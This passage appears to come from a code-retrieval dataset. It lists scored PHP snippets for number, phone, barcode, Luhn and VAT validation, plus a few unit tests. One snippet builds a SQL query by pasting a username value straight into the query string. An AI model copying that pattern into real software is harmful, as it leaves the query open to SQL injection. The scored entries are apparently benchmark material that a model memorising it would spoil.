$this->data['total_amount'];\n if (empty($val)) {\n $this->addError('total_amount', 'Total amount must not be empty');\n } else {\n if (!preg_match('(\\d+\\.\\d{1,2})', $this->data['total_amount'])) {\n $this->addError('amount', 'Loan total amount rate must be a number with 2 decimal places');\n }\n }\n }", "title": "" }, { "docid": "889ff54666768b8d851be8167dafe0c1", "score": "0.54128873", "text": "function luhn_check($number) {\n\n // Strip any non-digits (useful for credit card numbers with spaces and hyphens)\n $number=preg_replace('/\\D/', '', $number);\n\n // Set the string length and parity\n $number_length=strlen($number);\n $parity=$number_length % 2;\n\n //testing if the number only contained characters\n if($number_length <= 1){\n return False;\n }\n\n // Loop through each digit and do the maths\n $total=0;\n for ($i=0; $i<$number_length; $i++) {\n $digit=$number[$i];\n // Multiply alternate digits by two\n if ($i % 2 == $parity) {\n $digit*=2;\n // If the sum is two digits, add them together (in effect)\n if ($digit > 9) {\n $digit-=9;\n }\n }\n // Total up the digits\n $total+=$digit;\n }\n\n // If the total mod 10 equals 0, the number is valid\n return ($total % 10 == 0);\n\n}", "title": "" }, { "docid": "3e36785b95a9aa4d8ec6853623863952", "score": "0.5409721", "text": "function luhn_check($number) {\n\n\t// Strip any non-digits (useful for credit card numbers with spaces and hyphens)\n\t$number=preg_replace('/\\D/', '', $number);\n\n\t// Set the string length and parity\n\t$number_length=strlen($number);\n\t$parity=$number_length % 2;\n\n\t// Loop through each digit and do the maths\n\t$total=0;\n\tfor ($i=0; $i<$number_length; $i++) {\n\t\t$digit=$number[$i];\n\t\t// Multiply alternate digits by two\n\t\tif ($i % 2 == $parity) {\n\t\t\t$digit*=2;\n\t\t\t// If the sum is two digits, add them together (in effect)\n\t\t\tif ($digit > 9) {\n\t\t\t\t$digit-=9;\n\t\t\t}\n\t\t}\n\t\t// Total up the digits\n\t\t$total+=$digit;\n\t}\n\n\t// If the total mod 10 equals 0, the number is valid\n\treturn ($total % 10 == 0) ? TRUE : FALSE;\n\n}", "title": "" }, { "docid": "392761884956ed783fc4f148faadeaac", "score": "0.5403104", "text": "function validateInput($userInput){\n $isValid = true;\n $numbers = explode(\" \", $userInput);\n //need excatly two numbers \n if(count($numbers)!=2){\n echo \"Invalid input\";\n $isValid =false;\n }\n //make sure the input are numeric\n if($isValid){\n foreach ($numbers as $element) {\n \n if (!is_numeric($element)) {\n echo \"'{$element}' is NOT a number\";\n $isValid =false;\n }\n }\n }\n //make sure the numbers are valid\n if($numbers[0]<2 || $numbers[1]<0 || $numbers[1]>100){\n echo \"\\nFirst number must be greater than 1. Second number must be between 0 - 100 \";\n $isValid =false;\n }\n return $isValid;\n }", "title": "" }, { "docid": "1f04ea650a4a2b23d9f278f8ed193896", "score": "0.5396666", "text": "function isNumber($str){\n return is_string($str) && preg_match(\"/^-?\\d{1,}$/\", $str);\n }", "title": "" }, { "docid": "a62b64aefeddea9e80a31b931b3e4b6c", "score": "0.53828", "text": "function validate($param) {\n if(is_numeric($param)){\n return true;\n }else{\n return false;\n }\n}", "title": "" }, { "docid": "647a46a5415a11095c3062489213d8af", "score": "0.5362974", "text": "private function validateNumeric($input)\n {\n return preg_match('/^[0-9]+$/', $input, $matches) > 0;\n }", "title": "" }, { "docid": "a250890b38c10815f796721824f40325", "score": "0.53622955", "text": "function validate_barcode($barcode) {\n if (!preg_match(\"/^[0-9]{13}$/\", $barcode)) {\n return false;\n }\n\n $digits = $barcode;\n\n // 1. Add the values of the digits in the\n // even-numbered positions: 2, 4, 6, etc.\n $even_sum = $digits[1] + $digits[3] + $digits[5] +\n $digits[7] + $digits[9] + $digits[11];\n\n // 2. Multiply this result by 3.\n $even_sum_three = $even_sum * 3;\n\n // 3. Add the values of the digits in the\n // odd-numbered positions: 1, 3, 5, etc.\n $odd_sum = $digits[0] + $digits[2] + $digits[4] +\n $digits[6] + $digits[8] + $digits[10];\n\n // 4. Sum the results of steps 2 and 3.\n $total_sum = $even_sum_three + $odd_sum;\n\n // 5. The check character is the smallest number which,\n // when added to the result in step 4, produces a multiple of 10.\n $next_ten = (ceil($total_sum / 10)) * 10;\n $check_digit = $next_ten - $total_sum;\n\n // if the check digit and the last digit of the\n // barcode are OK return true;\n if ($check_digit == $digits[12]) {\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "7d0123de453ba87a55b93f45a33afe9c", "score": "0.5361391", "text": "public function validate(int $number) : int;", "title": "" }, { "docid": "f35283d95e9e62c876dfa1dd6d56ef28", "score": "0.53599614", "text": "public function testStringOnlyNumbersOk()\n {\n $numbers = \"4563823\";\n\n $input = new Input($numbers);\n\n $onlyNumbersValidator = new OnlyNumbers();\n $input->attach($onlyNumbersValidator);\n $result = $input->isValid();\n\n $this->assertTrue($result);\n }", "title": "" }, { "docid": "1e7c2996a67834885bc1932b5980907e", "score": "0.5353878", "text": "function isValidRouletteNumber($number)\n\t{\n\t\tif(ctype_digit($number) && $number < 37 && $number >= 0 ){return true;}else{return false;}\n\t}", "title": "" }, { "docid": "64e5acd5d758d270ab18499970b3f289", "score": "0.53472555", "text": "public function luhn_check($num) {\n\t\tif(empty(trim($num))){\n\t\t\t$msg = 'The %s is required.';\n\t\t\t$result = FALSE;\n\t\t}else if(!is_numeric($num)){\n\t\t\t$msg = 'The %s should contain numeric values only.';\n\t\t\t$result = FALSE;\n\t\t}else{\n\t\t\t$num = preg_replace('/[^\\d]/', '', $num);\n\t\t settype($num, 'string');\n\t\t\t$sumTable = array(\n\t\t\t\tarray(0,1,2,3,4,5,6,7,8,9),\n\t\t\t\tarray(0,2,4,6,8,1,3,5,7,9)\n\t\t\t);\n\t\t\t$sum = 0;\n\t\t\t$flip = 0;\n\t\t\t// If the total mod 10 equals 0, the number is valid\n\t\t\tfor ($i = strlen($num) - 1; $i >= 0; $i--) {\n\t\t\t\t$sum += $sumTable[$flip++ & 0x1][$num[$i]];\n\t\t\t}\n\t\t\t$result = $sum % 10 === 0;\n\t\t $msg = 'The %s is not valid. Please use numeric values only with no space or any special characters';\n\t\t}\n\t\t\n\t\tif(!$result){\n\t\t\t$this->form_validation->set_message('luhn_check', $msg);\n\t\t\treturn FALSE;\n\t\t}else{\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\n\t}", "title": "" }, { "docid": "114cfdbe98e4c38f4e6ff6c627bb7830", "score": "0.5343266", "text": "function checkValidNumber($input){\n $output = preg_match('/^[0-9]+$/', $input);\n if(!$output){\n echo json_encode(\n array(\n \"errorMsg\" => \"ID can only contain numbers\"\n )\n );\n die();\n }\n\n return null;\n }", "title": "" }, { "docid": "175814e1119cbecde36cd8a7adef46ed", "score": "0.5335764", "text": "function utilgsmnumber($number){\n if (strlen($number) == 10) {\n\n } elseif (strlen($number) == 11) {\n $number = substr($number,1,strlen($number));\n } elseif (strlen($number) == 12) {\n $number = substr($number,2,strlen($number));\n }\n\n if (substr($number, 0, 1) != \"5\") {\n return \"numbererror\";\n }\n return $number;\n }", "title": "" }, { "docid": "e00e1ff5c84a30458a862e9082b66ec8", "score": "0.5331567", "text": "public function isANumber()\n {\n $this->failIf(!is_int($this->data[0]) && !is_float($this->data[0]));\n }", "title": "" }, { "docid": "9938dc6b58b284d67e4e5864a11db139", "score": "0.531421", "text": "function catalog_delete_catalog_op_validate($form, &$form_state){ \n // print_r($form_state['values']['isbn_filter_option_val']); die;\n $isbn_filter_option_val = $form_state['values']['isbn_filter_option_val'];\n // print_r($isbn_filter_option_val); die;\n if($isbn_filter_option_val){\n $exlpolded_isbn = explode(\"\\n\",$isbn_filter_option_val);\n // print_r($exlpolded_isbn); die;\n foreach($exlpolded_isbn as $exlpolded_isbn_vals){\n if(!is_numeric(trim($exlpolded_isbn_vals))){\n form_set_error('isbn_filter_option_val', 'Inputed value : '. \"<b>\".$exlpolded_isbn_vals.\"</b>\" .' in Filter by ISBN is not a numeric.');\n } \n } \n }\n}", "title": "" }, { "docid": "bc356e3eafc07c3e498e455f13f91f92", "score": "0.5313652", "text": "public function testValidatePhoneNumberCorrect()\n {\n $validator = self::$validator;\n $value = '+447478954721';\n $this->assertNotFalse($validator->validatePhoneNumber('test', $value));\n }", "title": "" }, { "docid": "72750238017d66a8820efbbeb9a7b29b", "score": "0.5312186", "text": "function is_number_user($value){\n return preg_match('/^(-)?([0-9]{1,3})(\\.*[0-9]{3})*(\\,[0-9]{1,}){0,1}$/', $value);\n}", "title": "" }, { "docid": "0f2beab7a062e61d46c94439f9e768c7", "score": "0.53094345", "text": "public function testValidateNumeric(){\n $var = new aldorg\\validater\\Validater;\n $this->assertTrue($var->validateNumeric(1) == 'true');\n $this->assertTrue($var->validateNumeric(\"1\") == 'true');\n $this->assertTrue($var->validateNumeric(1.0) == 'true');\n $this->assertTrue($var->validateNumeric(\"1.0\") == 'true');\n $this->assertTrue($var->validateNumeric(\"number\") == 'false');\n unset($var);\n }", "title": "" }, { "docid": "4024757111de3ce3aec46cc70798d4d6", "score": "0.5304578", "text": "function cleanFormattedNumber($stringNumber) {\n if ($stringNumber == '-') {\n return $stringNumber;\n }\n\n $stringNumber = str_replace(' ', '', $stringNumber);\n if (is_numeric($stringNumber) && !str_contains($stringNumber, ',')) {\n return (int)$stringNumber;\n }\n\n return $stringNumber;\n}", "title": "" }, { "docid": "02d2bbfd457b111b23839b64fbf0286d", "score": "0.52931213", "text": "public function checkNumber($attribute, $params) {\n\n if($this->attributes['name'] == \"subtitle_vertical_offset\" ||\n $this->attributes['name'] == \"subtitle_horizontal_offset\"\n )\n return;\n\n if(!is_numeric($this->value)) {\n $this->addError($attribute, 'The value must be numeric');\n } else if($this->value < 1) {\n $this->addError($attribute, 'The value must be positive number');\n } else if(($this->attributes['name'] == \"conform_grade\" || $this->attributes['name'] == \"conform_grade_english\") && $this->value > 84) {\n $this->addError($attribute, 'This needs to be value between 1-84');\n }\n if ($params) ;\n }", "title": "" }, { "docid": "46cab92c5c51b401dab931a56cdec450", "score": "0.5287649", "text": "function validPhone($phone) {\r\n $phone = str_replace('(', '', $phone);\r\n $phone = str_replace(')', '', $phone);\r\n $phone = str_replace('-', '', $phone);\r\n\r\n //Must be a a numeric string of 10 digits\r\n return (preg_match(\"/^[0-9]{10}$/\", $phone));\r\n}", "title": "" }, { "docid": "05a09c8a514f077ec8cb1ca83f2ba3f9", "score": "0.52874184", "text": "private function luhn_check($number) {\n $number=preg_replace('/\\D/', '', $number);\n\n // Set the string length and parity\n $number_length=strlen($number);\n $parity=$number_length % 2;\n\n // Loop through each digit and do the maths\n $total=0;\n for ($i=0; $i<$number_length; $i++) {\n $digit=$number[$i];\n // Multiply alternate digits by two\n if ($i % 2 == $parity) {\n $digit*=2;\n // If the sum is two digits, add them together (in effect)\n if ($digit > 9) {\n $digit-=9;\n }\n }\n // Total up the digits\n $total+=$digit;\n }\n\n // If the total mod 10 equals 0, the number is valid\n return ($total % 10 == 0) ? TRUE : FALSE;\n\n}", "title": "" }, { "docid": "c940b54bd75e615e68fccb695945966e", "score": "0.527875", "text": "public function testValidationOfValidVATNumber()\n {\n $vatNumber = new VatNumber('');\n\n $this->assertEquals(VATNumber::VALID_VAT_NUMBER, $vatNumber->validate());\n $this->assertTrue($vatNumber->isValid());\n }", "title": "" }, { "docid": "145d2eb007dcd1240148dfbf0710d2e7", "score": "0.5272631", "text": "function valRP($recordPrice)\r\n{\r\n $recordPrice = trim($recordPrice);\r\n $recordPrice = filter_var($recordPrice, FILTER_SANITIZE_NUMBER_FLOAT);\r\n ifEmpty($recordPrice, 'Record Price');\r\n return $recordPrice;\r\n}", "title": "" }, { "docid": "e2ca30b2a1cc49db44e1974b0b466fd9", "score": "0.52679914", "text": "function validate(): void{\n // will return the value with the right type.\n $this->value = (int)$this->value;\n \n if($this->value <= 0){\n\n $this->error(\"age_is_invalid\");\n } \n \n }", "title": "" }, { "docid": "5ce573473fec9e6421d35c98df045034", "score": "0.5267308", "text": "public function testWrongValidation()\n {\n $validator = new TelFr();\n\n foreach($this->badNumbers as $number) {\n $this->assertFalse($validator->isValid($number), 'Number ' . $number . ' is valid');\n }\n }", "title": "" }, { "docid": "e9c87f05fbeded433fa4b48b51f0b654", "score": "0.52648103", "text": "function validate_phone_number($phone){\n $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\n $phone_to_check = str_replace(\"-\", \"\", $filtered_phone_number);\n // Check the lenght of number\n // This can be customized if you want phone number from a specific country\n if (strlen($phone_to_check) < 10 || strlen($phone_to_check) > 14) {\n return false;\n } else {\n return true;\n }\n\n }", "title": "" }, { "docid": "3efee88f1586a36fd33235f74da1eb47", "score": "0.5262821", "text": "public static function validateNumber($p_input)\n\t{\n\t\tif (is_numeric($p_input)) {\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "611985f77f0581c0aa71de7fe35cba0b", "score": "0.5262203", "text": "function check_id_number($value) {\r\n\t$head = array(\"A\" => 10, \"B\" => 11, \"C\" => 12, \"D\" => 13, \"E\" => 14, \"F\" => 15, \"G\" => 16, \"H\" => 17, \"I\" => 34, \"J\" => 18, \"K\" => 19, \"L\" => 20, \"M\" => 21, \"N\" => 22, \"O\" => 35, \"P\" => 23, \"Q\" => 24, \"R\" => 25, \"S\" => 26, \"T\" => 27, \"U\" => 28, \"V\" => 29, \"W\" => 32, \"X\" => 30, \"Y\" => 31, \"Z\" => 33);\r\n\t$sum = (int)($head[strtoupper($value[0])] % 10 * 9) + (int)($head[strtoupper($value[0])] / 10);\r\n\t// echo $sum;\r\n\t$count = 8;\r\n\tfor ($i = 1; $i <= 9; $i++) {\r\n\t\tif ($count != 0)\r\n\t\t\t$sum += $value[$i] * $count--;\r\n\t\telse\n\t\t\t$sum += $value[$i];\r\n\t}\r\n\tif ($sum % 10 == 0)\r\n\t\treturn TRUE;\r\n\telse\r\n\t\treturn FALSE;\r\n}", "title": "" }, { "docid": "0b2a96d9aa9d2791364bc9d19c31faa7", "score": "0.525723", "text": "function validate_phone_number($phone)\n{\n $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\n // Remove \"-\" from number\n $phone_to_check = str_replace(\"-\", \"\", $filtered_phone_number);\n // Check the lenght of number\n // This can be customized if you want phone number from a specific country\n if (strlen($phone_to_check) < 10 || strlen($phone_to_check) > 14) {\n return false;\n } else {\n return true;\n }\n}", "title": "" }, { "docid": "75230f8cc607749d1f979a395b781284", "score": "0.52506256", "text": "function validPhone($phone) {\n $phone = str_replace('-', '', $phone);\n $phone = str_replace(' ', '', $phone);\n $phone = str_replace('(', '', $phone);\n $phone = str_replace(')', '', $phone);\n return (is_numeric($phone) && (strlen($phone) > 9 && (strlen($phone) < 16)));\n}", "title": "" }, { "docid": "56b65bbcdd1e64929727f3b3d19c3793", "score": "0.52458364", "text": "public function validate(string $identification_number)\n {\n $this->lenghtValidation($identification_number);\n $this->provinceCodeValidation($identification_number);\n $this->thirdDigitValidation($identification_number);\n $this->lastsDigitsValidation($identification_number);\n\n if ($this instanceof PublicRuc || $this instanceof PrivateRuc) {\n $this->moduleElevenValidation($identification_number);\n } else {\n $this->moduleTenValidation($identification_number);\n }\n\n return $this->billingCode;\n }", "title": "" }, { "docid": "71c28ae75061153a4c3b51084ce8d6c1", "score": "0.52429116", "text": "function validate_phone_number($phone){\r\n $filtered_phone_number = filter_var($phone, FILTER_SANITIZE_NUMBER_INT);\r\n // Remove \"-\" from number\r\n $phone_to_check = str_replace(\"-\", \"\", $filtered_phone_number);\r\n // Check the lenght of number\r\n // This can be customized if you want phone number from a specific country\r\n if (strlen($phone_to_check) < 11 || strlen($phone_to_check) > 13) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n}", "title": "" }, { "docid": "b267f367a809364591db9eeb22ac8241", "score": "0.52336276", "text": "static function isNumeric($mx_value) {\n\n self::$Data = $mx_value;\n\n self::$Data = str_replace(',', '.', self::$Data);\n if (!(is_numeric(self::$Data)))\n return false;\n return true;\n }", "title": "" }, { "docid": "227007ab247f800d74fb6b1625bbb7c1", "score": "0.52298015", "text": "function checkStudentIDFormat($student_id){\n\t$num_array = str_split($student_id);\n\t$flag = true;\n \n //Check if each character is numeric\n\tforeach($num_array as $num){\n if (!is_numeric($num)){\n $flag = false;\n return $flag;\n }\n\t} \n \n return $flag;\n}", "title": "" }, { "docid": "23d2e6caea1d09d6632ddb4c131a9a2c", "score": "0.5226599", "text": "function checkLuhn($number) {\n $number=preg_replace('/\\D/', '', $number);\n\n // Set the string length and parity\n $number_length=strlen($number);\n $parity=$number_length % 2;\n\n // Loop through each digit and do the maths\n $total=0;\n for ($i=0; $i<$number_length; $i++) {\n $digit=$number[$i];\n // Multiply alternate digits by two\n if ($i % 2 == $parity) {\n $digit*=2;\n // If the sum is two digits, add them together (in effect)\n if ($digit > 9) {\n $digit-=9;\n }\n }\n // Total up the digits\n $total+=$digit;\n }\n\n // If the total mod 10 equals 0, the number is valid\n return ($total % 10 == 0) ? TRUE : FALSE;\n\n }", "title": "" }, { "docid": "d2ae1a697b586fc6f4069d6135e57e4b", "score": "0.52183676", "text": "protected function Validate_Tran_Code ($value, &$normalized_value)\n\t{\n\t\tif ( is_numeric($value)\t\t\t&&\n\t\t $value >= 22\t&&\n\t\t $value <= 39 \t\t)\n\t\t{\n\t\t\tif ($value <= 29)\n\t\t\t{\n\t\t\t\t$bank_account_type = 'checking';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$bank_account_type = 'savings' ;\n\t\t\t}\n\t\t\t$normalized_value = $bank_account_type;\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "b579469f8bffd781f47a01de320da926", "score": "0.52172166", "text": "private function isPureDigit()\n {\n return ctype_digit($this->limit);\n }", "title": "" }, { "docid": "76ffaa5dea2355c51a26c27dd03d7dcf", "score": "0.521204", "text": "public function isValid($value) {\n\t\tif (! is_string ( $value ) && ! is_int ( $value ) && ! is_float ( $value )) {\n\t\t\t$this->error ( self::ALPHA_CHAR_ONLY );\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$this->setValue ( strtoupper ( $value ) );\n\t\t\n\t\tif (null === static::$filter) {\n\t\t\tstatic::$filter = new AlnumFilter ();\n\t\t}\n\t\t\n\t\tstatic::$filter->setAllowWhiteSpace ( true );\n\t\t\n\t\tif ($value != static::$filter->filter ( $value )) {\n\t\t\t$this->error ( self::ALPHA_CHAR_ONLY );\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$length = $this->getStringWrapper ()->strlen ( $value );\n\t\tif ($length < $this->getMin ()) {\n\t\t\t$this->error ( self::ALPHA_CHAR_MIN );\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (null !== $this->getMax () && $this->getMax () < $length) {\n\t\t\t$this->error ( self::ALPHA_CHAR_MAX );\n\t\t\treturn false;\n\t\t}\n\t\t// if (isset($this->options['rank']) && $this->options['rank'] > 0) {\n\t\t$rankcheck = constant ( \"USER_REGISTER_SPONSOR_\" . $this->options ['rank'] );\n\t\t$rankcheck = explode ( ':', $rankcheck );\n\t\t$DBRank = $this->getDatabase ();\n\t\t$DBRank->select ();\n\t\t$DBRank->columns ( array (\n\t\t\t\t'id' => 'user_rank_id',\n\t\t\t\t'iso' => 'user_rank_key',\n\t\t\t\t'group' => 'user_rank_group_id' \n\t\t) );\n\t\t$DBRank->from ( array (\n\t\t\t\t'ur' => 'user_rank' \n\t\t) );\n\t\t$DBRank->where ( array (\n\t\t\t\t'ur.user_rank_group_id in (' . implode ( ', ', $rankcheck ) . ')',\n\t\t\t\t'ur.user_rank_status = 1' \n\t\t) );\n\t\t$DBRank->order ( array (\n\t\t\t\t'user_rank_key ASC' \n\t\t) );\n\t\t$DBRank->execute ();\n\t\t$rank = array ();\n\t\tif ($DBRank->hasResult ()) {\n\t\t\t$data = array ();\n\t\t\twhile ( $DBRank->valid () ) {\n\t\t\t\t$data = $DBRank->current ();\n\t\t\t\t$rank [] = $data ['id'];\n\t\t\t\t$DBRank->next ();\n\t\t\t}\n\t\t} else {\n\t\t\t$this->error ( self::USERNAME_INVALID );\n\t\t\treturn false;\n\t\t}\n\t\t// } else {\n\t\t// $this->error(self::USERNAME_INVALID);\n\t\t// return false;\n\t\t// }\n\t\t\n\t\t$DBVerify = $this->getDatabase ();\n\t\t$DBVerify->select ();\n\t\t$DBVerify->columns ( array (\n\t\t\t\t'id' => 'user_access_id' \n\t\t) );\n\t\t$DBVerify->from ( array (\n\t\t\t\t'ua' => 'user_access' \n\t\t) );\n\t\t$DBVerify->join ( array (\n\t\t\t\t'uh' => 'user_hierarchy' \n\t\t), 'uh.user_access_id = ua.user_access_id', array (\n\t\t\t\t'sponsor' => 'user_hierarchy_sponsor',\n\t\t\t\t'placement' => 'user_hierarchy_placement' \n\t\t) );\n\t\t$DBVerify->where ( array (\n\t\t\t\t'ua.user_rank_id in (' . implode ( ', ', $rank ) . ')',\n\t\t\t\t'uh.user_access_username = \"' . strtoupper ( $value ) . '\"',\n\t\t\t\t'ua.user_access_status = 1',\n\t\t\t\t'ua.user_access_delete_status = 0' \n\t\t) );\n\t\t$DBVerify->limit ( 1 );\n\t\t$DBVerify->execute ();\n\t\tif ($DBVerify->hasResult () !== true) {\n\t\t\t$this->error ( self::USERNAME_INVALID );\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "title": "" }, { "docid": "76a279f50769e4568e8f70bfe73b190f", "score": "0.52051306", "text": "function sanitizeFormNumbers($inputText) {\r\n\t$inputText = filter_var($inputText, FILTER_SANITIZE_NUMBER_FLOAT); \r\n\t\r\n return $inputText;\r\n}", "title": "" }, { "docid": "54bf3791f140252df0ec707418ec6ee2", "score": "0.52027464", "text": "private function validateAccountType() {\n\n\t\t//set allowed values\n\t\t$allowed = array(\n\t\t\t'ECOM', 'MOTO', 'RECUR'\n\t\t);\n\n\t\t//make sure it's a string\n\t\tValidate::string($this->accountType, $this->errorPrefix.'account type');\n\n\t\t//make sure it's allowed\n\t\tif(!in_array($this->accountType, $allowed)) {\n\t\t\tthrow new Exception($errorPrefix.\"account type is not valid.\");\n\t\t}\n\t}", "title": "" }, { "docid": "9b2360984bd98a8e321de90fa40ce539", "score": "0.5202358", "text": "function TestCheckDigit($barcode) {\n $sum = 0;\n for ($i = 1; $i <= 11; $i+=2)\n $sum+=3 * $barcode[$i];\n for ($i = 0; $i <= 10; $i+=2)\n $sum+=$barcode[$i];\n return ($sum + $barcode[12]) % 10 == 0;\n }", "title": "" }, { "docid": "e860222493fffaca51b3158eeb72a28e", "score": "0.5201684", "text": "function salaryControl($number)\n{\n if(!is_numeric($number) or !preg_match('/[^a-z ćčžđš A-Z]+/',$number) or $number <= 0)\n {\n echo \"pogresno upisan broj\";\n return salaryControl(readline());\n }\n else {\n return number_format($number, 2, '.', '');\n }\n\n}", "title": "" }, { "docid": "4835992f8adf053d3d55a70f3551f226", "score": "0.52004343", "text": "function ctype_digit ($text) {}", "title": "" }, { "docid": "04d5cc51277ec19e17325218d7b2c785", "score": "0.5196089", "text": "private function validateDestinationFormat($inp){\n $ret = preg_replace('/[^0-9]/', '', (string)$inp);\n\n // Numerical, remove any prepending '00'\n if(substr($ret, 0, 2) == '00'){\n $ret = substr($ret, 2);\n $ret = substr($ret, 0, 15);\n }\n\n // Numerical, remove any prepending '+'\n if(substr($ret, 0, 1) == '+'){\n $ret = substr($ret, 1);\n $ret = substr($ret, 0, 15);\n } \n \n return (string)$ret;\n }", "title": "" }, { "docid": "790c172cffafc5e288e0b8a5f2796403", "score": "0.5188483", "text": "private function checkWrongInputsNumber(): void\n {\n $sql = 'SELECT * FROM remembered_clients \n WHERE sms_code_wrong_inputs_number < 3 AND token_hash = :token_hash LIMIT 1';\n\n $db = static::getDB();\n $stmt = $db->prepare($sql);\n\n $stmt->bindValue(':token_hash', $this->getTokenHash(), PDO::PARAM_STR);\n\n $stmt->execute();\n\n if (! $stmt->fetch()) {\n $this->errors[] = '3 раза введён неверный код. Когда таймер дойдёт до нуля, нажмите ссылку '\n . '\"Запросить повторную отправку SMS\".';\n }\n }", "title": "" }, { "docid": "fd745053b0bbb025d8931cc3ac14cd9f", "score": "0.5181567", "text": "public function validateFormat()\n {\n // Check if the VAT-number has been entered\n if (strlen($this->input) == 0) {\n return self::EMPTY_VAT_NUMBER;\n }\n\n // Check if the country code exists\n if (!isset($this->countries[$this->countryCode])) {\n return self::INVALID_COUNTRY_CODE;\n }\n\n // Store the regex or array of multiple regular expressions in local variable\n $regex = $this->countries[$this->countryCode];\n\n // Match the input against the regular expressions\n if (is_array($regex)) {\n $validFormat = false;\n\n // Multiple regular expressions\n foreach ($regex as $regularExpression) {\n if (preg_match($regularExpression, $this->input)) {\n $validFormat = true;\n break;\n }\n }\n\n if (!$validFormat) {\n return self::INVALID_FORMAT;\n }\n } else {\n // Single regular expression\n if (!preg_match($regex, $this->input)) {\n return self::INVALID_FORMAT;\n }\n }\n\n return self::VALID_VAT_FORMAT;\n }", "title": "" }, { "docid": "cf9c2a8893e4fbe1ac01283bff8780ca", "score": "0.51679766", "text": "public function testIsBeautifulNumberEqualTo()\n {\n $this->assertTrue($this->numberOjb->isBeautiful(422224));\n }", "title": "" }, { "docid": "3c98a1c972b8beab9c1944c5b36ca448", "score": "0.51673144", "text": "function check_validate_code($str)\n{\n $str = base64_decode($str);\n $total = substr_count($str, '+');\n if($total == 2)//PRIMER VALIDACION '+'\n {\n $cut1 = explode('+', $str);\n $is_int = is_numeric($cut1[0]);\n if($is_int == 1) //SEGUNDA VALIDACION 'NUMERIC'\n {\n $total2 = substr_count($cut1[1], '_');\n if($total2 == 4) //TERCER VALIDACION '_'\n {\n $cut1[1] = str_replace('_', '', $cut1[1]);\n $is_int2 = is_numeric($cut1[1]);\n if($is_int2 == 1) //CUARTA VALIDACION 'NUMERIC'\n {\n return TRUE;\n }\n else //CUARTA VALIDACION 'NUMERIC'\n {\n return FALSE;\n }\n }\n else //ELSE TERCER VALIDACION '_'\n {\n return FALSE;\n }\n }\n else //SEGUNDA VALIDACION 'NUMERIC'\n {\n return FALSE;\n }\n }\n else //ELSE PRIMER VALIDACION '+'\n {\n return FALSE;\n }\n}", "title": "" } ]
598c896ef0155dca3ce422457ab35c6e
/ Show Page of Bulk SMS
[ { "docid": "eb1b04dff11c8e2963eeef46d5ddb77a", "score": "0.68397266", "text": "public function ShowBulkSms()\n {\n $AllList = ListModel::all();\n $breadcrumbs = [['link' => \"/\", 'name' => \"Home\"], ['link' => \"javascript:void(0)\", 'name' => \"SMS\"], ['name' => \"Bulk SMS\"]];\n return view('/content/sms/bulk-sms', ['breadcrumbs' => $breadcrumbs , 'AllList' => $AllList ]);\n }", "title": "" } ]
[ { "docid": "3a62fee8a32974e67732657b0b6cbfc4", "score": "0.6528331", "text": "public function show(sms $sms)\n {\n //\n }", "title": "" }, { "docid": "3aeb5a8de27223cfe9ad1ea4cb0589a1", "score": "0.6399675", "text": "public function showPageResults() {\n $fullResults = $this->buildResults();\n foreach($fullResults as $item) {\n echo $item->displayTeaser() . \"\\n\";\n }\n echo \"{$this->getCount()} records of {$this->totalRows}. \\n\";\n }", "title": "" }, { "docid": "ac89ce53e642a660520eb53311d3b056", "score": "0.6366317", "text": "public function index()\n {\n $buySmsObjects = BuySms::paginate(25);\n\n return view('buy_sms.index', compact('buySmsObjects'));\n }", "title": "" }, { "docid": "574a9d7b138ffba867ae51cd1c1c332c", "score": "0.63299704", "text": "public function showPage()\n {\n echo $this->getPage();\n }", "title": "" }, { "docid": "ab37fa734e4acec77d8a91b5ca7c0b95", "score": "0.61281425", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\t$param = array('uid'=>$this->userInfo['uid']);\n\t\tlist($total, $message) = Theme_Service_Message::getList($page, $perpage, $param);\n\t\t$this->assign('message', $message);\n\t\t$url = $this->actions['listUrl'] .'/?'. http_build_query($param) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\n\t}", "title": "" }, { "docid": "10bf0dc74d02d853faefe733f3b69094", "score": "0.6048319", "text": "public function show()\n {\n $book = Book::getInstance();\n $form_data = array(\n 'data' => ($book->error)?$book->form_data:null,\n 'error_msg' => $book->error_msg,\n 'error' => $book->error\n );\n\n $messages = $book->getMessages();\n $page_atts = array(\n 'form' => $this->getView('form', $form_data),\n 'messages' => $messages,\n 'pagination' => $this->pagination()\n );\n\n $view = $this->getView('page', $page_atts);\n echo $view;\n }", "title": "" }, { "docid": "4bdcff664856248658f9091f101c6f4c", "score": "0.6034522", "text": "public function index()\n {\n return $this->respond(Message::_(Message::paginate(50)->toArray()['data']));\n }", "title": "" }, { "docid": "6ed33ae394830035471a941729d7cb2e", "score": "0.597282", "text": "public function displayPage() { }", "title": "" }, { "docid": "f80d05d300eefd4a72231f7204afa5ae", "score": "0.59546065", "text": "function\tdisplay_messages($messages,$page=0)\n{\n\n $n=count($messages);\t\t// total messages\n $d=($page+1)*N;\t\t\t// how far back this page begins\n $l=min($n-1,$n-$d+N-1);\t\t// last\n $f=max($n-$d,0);\t\t\t// first\n\n echo \"<table class=\\\"messages\\\">\\n\";\n\n // If we are out of bounds, or if there are no messages, then say so.\n if(($f>$n-1)||($l<0)) {\n $noMsgs = new Message(\"admin\",\"No messages\");\n $noMsgs->display();\n return;\n }\n\n // If this is the start of the chat, then say so.\n if($f==0) {\n $startOfChat = new Message(\"admin\",\"Start of chat\");\n $startOfChat->display();\n }\n\n // Display the messages\n for($i=$f;$i<=$l;$i++) {\n $message = $messages[$i];\n $message->display();\n }\n\n echo \"</table>\\n\";\n}", "title": "" }, { "docid": "7ca613dbb8eb4264e5cdc0e0ad9b3246", "score": "0.59094894", "text": 